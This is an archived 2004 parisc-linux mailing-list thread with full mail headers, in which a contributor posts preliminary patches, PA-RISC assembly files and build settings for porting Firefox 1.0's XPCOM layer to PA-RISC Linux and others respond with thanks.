X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25025

> Anyway, after applying these modifications Firefox 1.0 runs nicely on my
> C3000. If  these issues are not resolved in the apt versions of
> mozilla/firefox, I will submit my patches,

Awesome!  Could you post your patch.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Sat, 18 Dec 2004 00:58:40 +0100 (MET)
Lines: 303
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0412180034280.1196@panter.stud.ntnu.no>
References: <200412172238.iBHMc3sL017678@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624510 26485 80.91.229.3 (22 Nov 2014 02:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Dec 2004 23:59:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx061) with SMTP; 18 Dec 2004 00:59:31 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A70A23BE53; Fri, 17 Dec 2004 16:59:15 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21107-07; Fri, 17 Dec 2004 16:59:15 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CA6F53BE4F; Fri, 17 Dec 2004 16:58:51 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F1AF3BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 16:58:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 21107-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 16:58:44 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id DC9BD3BE4A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 17 Dec 2004 16:58:43 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 83A914957F5; Fri, 17 Dec 2004 16:58:43 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fri.itea.ntnu.no (fri.itea.ntnu.no [129.241.7.60])
	by palinux.hppa (Postfix) with ESMTP id C98F249407B
	for <parisc-linux@parisc-linux.org>;
	Fri, 17 Dec 2004 16:58:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by fri.itea.ntnu.no (Postfix) with ESMTP id 9B52B80E8;
	Sat, 18 Dec 2004 00:58:40 +0100 (CET)
Original-Received: from panter.stud.ntnu.no (panter.stud.ntnu.no [129.241.56.186])
	by fri.itea.ntnu.no (Postfix) with ESMTP;
	Sat, 18 Dec 2004 00:58:40 +0100 (CET)
In-Reply-To: <200412172238.iBHMc3sL017678@hiauly1.hia.nrc.ca>
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25026

Ok, here it comes - the patches are against firefox 1.0 (release),
although I believe any recent release will work.

apply executing

patch -d ./mozilla/xpcom/reflect/xptcall/src/md/unix/ < <whatever filename of the patch>

in the directory you extracted the Firefox tarball.

You will also need a .mozconfig file before building. Mine contains the
following (might not work for you, these are not "normal" parameters):

export MOZ_PHOENIX=1
mk_add_options MOZ_PHOENIX=1

ac_add_options --disable-ldap
ac_add_options --disable-mailnews
ac_add_options --enable-extensions=cookie,xml-rpc,xmlextras,pref,transformiix,universalchardet,webservices,inspector,gnomevfs,negotiateauth
ac_add_options --enable-crypto
ac_add_options --disable-composer
ac_add_options --enable-single-profile
ac_add_options --disable-profilesharing
ac_add_options --enable-optimize=-O2
ac_add_options --disable-debug
ac_add_options --enable-static
ac_add_options --disable-shared
ac_add_options --disable-tests

ac_add_options --enable-default-toolkit=gtk2
ac_add_options --enable-freetype2

mk_add_options MOZ_OBJDIR=/usr/tmp

Remeber to export MOZCONFIG=<path to your .mozconfig file> before
executing

make -f client.mk build

in the mozilla directory

More information on builing Firefox is available on the mozilla.org
site.

Please note that this patch is VERY preliminary - thus, any feedbak is
welcome,


diff -N -u ./mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in
--- ./mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in	2004-04-22 22:50:05.000000000 +0200
+++ /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/Makefile.in	2004-12-18 00:00:29.807917680 +0100
@@ -167,6 +167,19 @@
 endif
 endif

+#
+# Linux/HPPA/GCC
+#
+ifeq ($(OS_ARCH),Linux)
+ifeq ($(OS_TEST), parisc)
+ifeq ($(CC),gcc)
+CPPSRCS		:= xptcinvoke_pa32.cpp xptcstubs_pa32.cpp
+ASFILES		:= xptcstubs_asm_parisc_linux.s
xptcinvoke_asm_parisc_linux.s
+endif
+endif
+endif
+
+
 ######################################################################
 # M68k
 ######################################################################
diff -N -u ./mozilla/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_asm_parisc_linux.s home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_asm_parisc_linux.s
--- ./mozilla/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_asm_parisc_linux.s	1970-01-01 01:00:00.000000000 +0100
+++ /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/xptcinvoke_asm_parisc_linux.s	2004-12-17 00:00:10.000000000 +0100
@@ -0,0 +1,128 @@
+
+	.LEVEL 1.1
+	.text
+	.align 4
+
+framesz:
+	.equ 128
+
+; XPTC_InvokeByIndex(nsISuppots* that, PRUint32 methodIndex,
+;   PRUint32 paramCount, nsXPTCVariant* params);
+
+.globl XPTC_InvokeByIndex
+	.type XPTC_InvokeByIndex, @function
+
+
+XPTC_InvokeByIndex:
+  	.PROC
+	.CALLINFO FRAME=72, CALLER,SAVE_RP, SAVE_SP, ENTRY_GR=3
+	.ENTRY
+
+ ; frame marker takes 48 bytes,
+ ; register spill area takes 8 bytes,
+ ; local stack area takes 72 bytes result in 128 bytes total
+
+        STW          %rp,-20(%sp)
+        STW,MA       %r3,128(%sp)
+
+        LDO     -framesz(%r30),%r28
+        STW     %r28,-4(%r30)       ; save previous sp
+        STW     %r19,-32(%r30)
+
+        STW     %r26,-36-framesz(%r30)  ; save argument registers in
+        STW     %r25,-40-framesz(%r30)  ; in PREVIOUS frame
+        STW     %r24,-44-framesz(%r30)  ;
+        STW     %r23,-48-framesz(%r30)  ;
+
+;	B,L     .+8,%r2
+;	ADDIL   L'invoke_count_bytes-$PIC_pcrel$1+4,%r2,%r1
+;    ;    LDO     R'invoke_count_bytes-$PIC_pcrel$2+8(%r1),%r1
+;$PIC_pcrel$1
+;        LDSID   (%r1),%r31
+;$PIC_pcrel$2
+;        MTSP    %r31,%sr0
+
+	.CALL   ARGW0=GR,ARGW1=GR,ARGW2=GR ;in=24,25,26;out=28
+        BL    invoke_count_bytes,%r31
+        COPY    %r31,%r2
+
+        CMPIB,>=        0,%r28, .+76
+        COPY    %r30,%r3            ; copy stack ptr to saved stack ptr
+        ADD     %r30,%r28,%r30      ; extend stack frame
+        LDW     -4(%r3),%r28        ; move frame
+        STW     %r28,-4(%r30)
+        LDW     -8(%r3),%r28
+        STW     %r28,-8(%r30)
+        LDW     -12(%r3),%r28
+        STW     %r28,-12(%r30)
+        LDW     -16(%r3),%r28
+        STW     %r28,-16(%r30)
+        LDW     -20(%r3),%r28
+        STW     %r28,-20(%r30)
+        LDW     -24(%r3),%r28
+        STW     %r28,-24(%r30)
+        LDW     -28(%r3),%r28
+        STW     %r28,-28(%r30)
+        LDW     -32(%r3),%r28
+        STW     %r28,-32(%r30)
+
+        LDO     -40(%r30),%r26         ; load copy address
+        LDW     -44-framesz(%r3),%r25  ; load rest of 2 arguments
+        LDW     -48-framesz(%r3),%r24  ;
+
+        LDW     -32(%r30),%r19 ; shared lib call destroys r19; reload
+;        B,L     .+8,%r2
+;        ADDIL   L'invoke_copy_to_stack-$PIC_pcrel$3+4,%r2,%r1
+;        LDO     R'invoke_copy_to_stack-$PIC_pcrel$4+8(%r1),%r1
+;$PIC_pcrel$3
+;        LDSID   (%r1),%r31
+;$PIC_pcrel$4
+;        MTSP    %r31,%sr0
+        .CALL   ARGW0=GR,ARGW1=GR,ARGW2=GR ;in=24,25,26
+        BL    invoke_copy_to_stack,%r31
+        COPY    %r31,%r2
+
+        LDO     -48(%r30),%r20
+        EXTRW,U,= %r28,31,1,%r22
+        FLDD    0(%r20),%fr7  ; load double arg 1
+        EXTRW,U,= %r28,30,1,%r22
+        FLDW    8(%r20),%fr5L ; load float arg 1
+        EXTRW,U,= %r28,29,1,%r22
+        FLDW    4(%r20),%fr6L ; load float arg 2
+        EXTRW,U,= %r28,28,1,%r22
+        FLDW    0(%r20),%fr7L ; load float arg 3
+
+        LDW     -36-framesz(%r3),%r26  ; load ptr to 'that'
+        LDW     -40(%r30),%r25  ; load the rest of dispatch argument registers
+        LDW     -44(%r30),%r24
+        LDW     -48(%r30),%r23
+
+        LDW     -36-framesz(%r3),%r20  ; load vtable addr
+        LDW     -40-framesz(%r3),%r28  ; load index
+        LDW     0(%r20),%r20    ; follow vtable
+;        LDO     0(%r20),%r20   ; offset vtable by 16 bytes (g++: 8, aCC: 16)
+        SH2ADDL %r28,%r20,%r28  ; add 4*index to vtable entry
+        LDW     0(%r28),%r22    ; load vtable entry
+
+;        B,L     .+8,%r2
+;        ADDIL   L'$$dyncall_external-$PIC_pcrel$5+4,%r2,%r1
+;        LDO     R'$$dyncall_external-$PIC_pcrel$6+8(%r1),%r1
+;$PIC_pcrel$5
+;        LDSID   (%r1),%r31
+;$PIC_pcrel$6
+;        MTSP    %r31,%sr0
+        .CALL ARGW0=GR,ARGW1=GR,ARGW2=GR,ARGW3=GR,RTNVAL=GR ;in=22-26;out=28;
+        BL    $$dyncall,%r31
+        COPY    %r31,%r2
+
+        LDW     -32(%r30),%r19
+        COPY    %r3,%r30              ; restore saved stack ptr
+
+        LDW          -148(%sp),%rp
+        LDWM       -128(%sp),%r3
+	BV,N             (%rp)
+	NOP
+   .EXIT
+  .PROCEND  ;in=23,24,25,26;
+  .SIZE XPTC_InvokeByIndex, .-XPTC_InvokeByIndex
+
diff -N -u ./mozilla/xpcom/reflect/xptcall/src/md/unix/xptcstubs_asm_parisc_linux.s /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/xptcstubs_asm_parisc_linux.s
--- mozilla/xpcom/reflect/xptcall/src/md/unix/xptcstubs_asm_parisc_linux.s	1970-01-01 01:00:00.000000000 +0100
+++ /home/user/mozilla/xpcom/reflect/xptcall/src/md/unix/xptcstubs_asm_parisc_linux.s	2004-12-16 23:59:59.000000000 +0100
@@ -0,0 +1,73 @@
+        .LEVEL  1.1
+	.TEXT
+	.ALIGN 4
+
+curframesz:
+	.EQU 128
+
+
+; SharedStub has stack size of 128 bytes
+
+lastframesz:
+	.EQU 64
+
+; the StubN C++ function has a small stack size of 64 bytes
+
+
+.globl SharedStub
+	.type SharedStub, @function
+
+SharedStub:
+        .PROC
+        .CALLINFO CALLER,FRAME=80,SAVE_RP
+
+  .ENTRY
+        STW     %rp,-20(%sp)
+        LDO     128(%sp),%sp
+
+        STW     %r19,-32(%r30)
+        STW     %r26,-36-curframesz(%r30) ; save arg0 in previous frame
+
+        LDO     -80(%r30),%r28
+        FSTD,MA %fr5,8(%r28)   ; save darg0
+        FSTD,MA %fr7,8(%r28)   ; save darg1
+        FSTW,MA %fr4L,4(%r28)  ; save farg0
+        FSTW,MA %fr5L,4(%r28)  ; save farg1
+        FSTW,MA %fr6L,4(%r28)  ; save farg2
+        FSTW,MA %fr7L,4(%r28)  ; save farg3
+
+        ; Former value of register 26 is already properly saved by StubN,
+        ; but register 25-23 are not because of the arguments mismatch
+        STW     %r25,-40-curframesz-lastframesz(%r30) ; save r25
+        STW     %r24,-44-curframesz-lastframesz(%r30) ; save r24
+        STW     %r23,-48-curframesz-lastframesz(%r30) ; save r23
+        COPY    %r26,%r25                             ; method index is arg1
+        LDW     -36-curframesz-lastframesz(%r30),%r26 ; self is arg0
+        LDO     -40-curframesz-lastframesz(%r30),%r24 ; normal args is arg2
+        LDO     -80(%r30),%r23                        ; floating args is arg3
+
+;       BL      .+8,%r2
+;       ADDIL   L'PrepareAndDispatch-$PIC_pcrel$0+4,%r2
+;        LDO     R'PrepareAndDispatch-$PIC_pcrel$1+8(%r1),%r1
+;$PIC_pcrel$0
+;        LDSID   (%r1),%r31
+;$PIC_pcrel$1
+;        MTSP    %r31,%sr0
+        .CALL   ARGW0=GR,ARGW1=GR,ARGW2=GR,ARGW3=GR,RTNVAL=GR ;in=23-26;out=28;
+        BL     PrepareAndDispatch, %r31
+        COPY    %r31,%r2
+
+        LDW     -32(%r30),%r19
+
+        LDW     -148(%sp),%rp
+        LDO     -128(%sp),%sp
+
+
+	BV,N     (%rp)
+	NOP
+	NOP
+
+	.EXIT
+        .PROCEND        ;in=26;out=28;
+
+	.SIZE SharedStub, .-SharedStub




On Fri, 17 Dec 2004, John David Anglin wrote:

> > Anyway, after applying these modifications Firefox 1.0 runs nicely on my
> > C3000. If  these issues are not resolved in the apt versions of
> > mozilla/firefox, I will submit my patches,
>
> Awesome!  Could you post your patch.
>
> Dave
> --
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
>
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Sun, 19 Dec 2004 15:34:17 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20041219203417.GE25304@baldric.uwo.ca>
References: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624510 26486 80.91.229.3 (22 Nov 2014 02:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Ivar <orskaug@stud.ntnu.no>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 20:36:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx051) with SMTP; 19 Dec 2004 21:36:12 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8902A3BE6B; Sun, 19 Dec 2004 13:36:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14489-04; Sun, 19 Dec 2004 13:36:03 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC2B13BE66; Sun, 19 Dec 2004 13:34:28 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ACE03BE63
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:34:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14445-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:34:23 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A68C43BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:34:23 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 62E19495617; Sun, 19 Dec 2004 13:34:23 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id 3BB0F495612
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Dec 2004 13:34:23 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Cg7kw-0007pV-00; Sun, 19 Dec 2004 15:34:18 -0500
Content-Disposition: inline
In-Reply-To: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (25% Sync Ratio [===.......])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25027

On Fri, Dec 17, 2004 at 11:26:57PM +0100, Ivar wrote:
> The apt-versions of Mozilla & Firefox have never worked for me, so I've
> recently been looking into the codebase. Compiling with the current
> toolchain (gcc-3.3) was painless, however it was necessary to slightly
> modify the XPCOM HP-UX/HP-CC code for it to work with gcc & parisc-linux.
> Some platform spesific code is required to make XPCOM (and consequently
> Mozilla/Firefox) work on any combination of OS/compiler/architecture.
> XPCOM calls virtual funtions direcly, using the vtable pointers (not via
> the runtime).
> 
> Anyway, after applying these modifications Firefox 1.0 runs nicely on my
> C3000. If  these issues are not resolved in the apt versions of
> mozilla/firefox, I will submit my patches,

Wow! This is awesome! Many thanks!

Randolph, Dave and myself had all given mozilla a couple of whacks, but
never quite got the XPCOM code working properly. Even with some
experimental code to enable XPCOM using libffi (thanks to Randolph),
similar to ia64, we had problems with the XUL code.

I appreciate the effort! This has been on my usability todo list for
ages!

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar <orskaug@stud.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firefox/Mozilla patches
Date: Sun, 19 Dec 2004 22:53:09 +0100 (MET)
Lines: 48
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.58.0412192218090.4208@panter.stud.ntnu.no>
References: <Pine.GSO.4.58.0412172254550.1196@panter.stud.ntnu.no>
	<20041219203417.GE25304@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416624511 26490 80.91.229.3 (22 Nov 2014 02:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:31 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:44 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 21:54:55 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx004) with SMTP; 19 Dec 2004 22:54:55 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D02883BE6D; Sun, 19 Dec 2004 14:54:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15193-02; Sun, 19 Dec 2004 14:54:52 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2B7033BE6F; Sun, 19 Dec 2004 14:53:20 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E331D3BE6C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:53:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 14563-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:53:13 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id F31CE3BE6A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 14:53:12 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 568E6495617; Sun, 19 Dec 2004 14:53:12 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230])
	by palinux.hppa (Postfix) with ESMTP id 08F4C495612
	for <parisc-linux@parisc-linux.org>;
	Sun, 19 Dec 2004 14:53:12 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by royk.itea.ntnu.no (Postfix) with ESMTP id C0CF666F54;
	Sun, 19 Dec 2004 22:53:09 +0100 (CET)
Original-Received: from panter.stud.ntnu.no (panter.stud.ntnu.no [129.241.56.186])
	by royk.itea.ntnu.no (Postfix) with ESMTP;
	Sun, 19 Dec 2004 22:53:09 +0100 (CET)
In-Reply-To: <20041219203417.GE25304@baldric.uwo.ca>
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25028


As of now the patch is still very experimental - I'll devote some more
spare time for this during christmas.

Recently, I've also done some naive attemts to port the Xorg/XFree mga
driver to parisc - with the exception of a few minor bugs (displacement of
the HW accelerated cursor), it works OK - so, I have my hopes up for this
too :)

However, a biggerproblem with Xorg (as I see it) is that it's not
natively ported to parisc.

	-Ivar

On Sun, 19 Dec 2004, Carlos O'Donell wrote:

> On Fri, Dec 17, 2004 at 11:26:57PM +0100, Ivar wrote:
> > The apt-versions of Mozilla & Firefox have never worked for me, so I've
> > recently been looking into the codebase. Compiling with the current
> > toolchain (gcc-3.3) was painless, however it was necessary to slightly
> > modify the XPCOM HP-UX/HP-CC code for it to work with gcc & parisc-linux.
> > Some platform spesific code is required to make XPCOM (and consequently
> > Mozilla/Firefox) work on any combination of OS/compiler/architecture.
> > XPCOM calls virtual funtions direcly, using the vtable pointers (not via
> > the runtime).
> >
> > Anyway, after applying these modifications Firefox 1.0 runs nicely on my
> > C3000. If  these issues are not resolved in the apt versions of
> > mozilla/firefox, I will submit my patches,
>
> Wow! This is awesome! Many thanks!
>
> Randolph, Dave and myself had all given mozilla a couple of whacks, but
> never quite got the XPCOM code working properly. Even with some
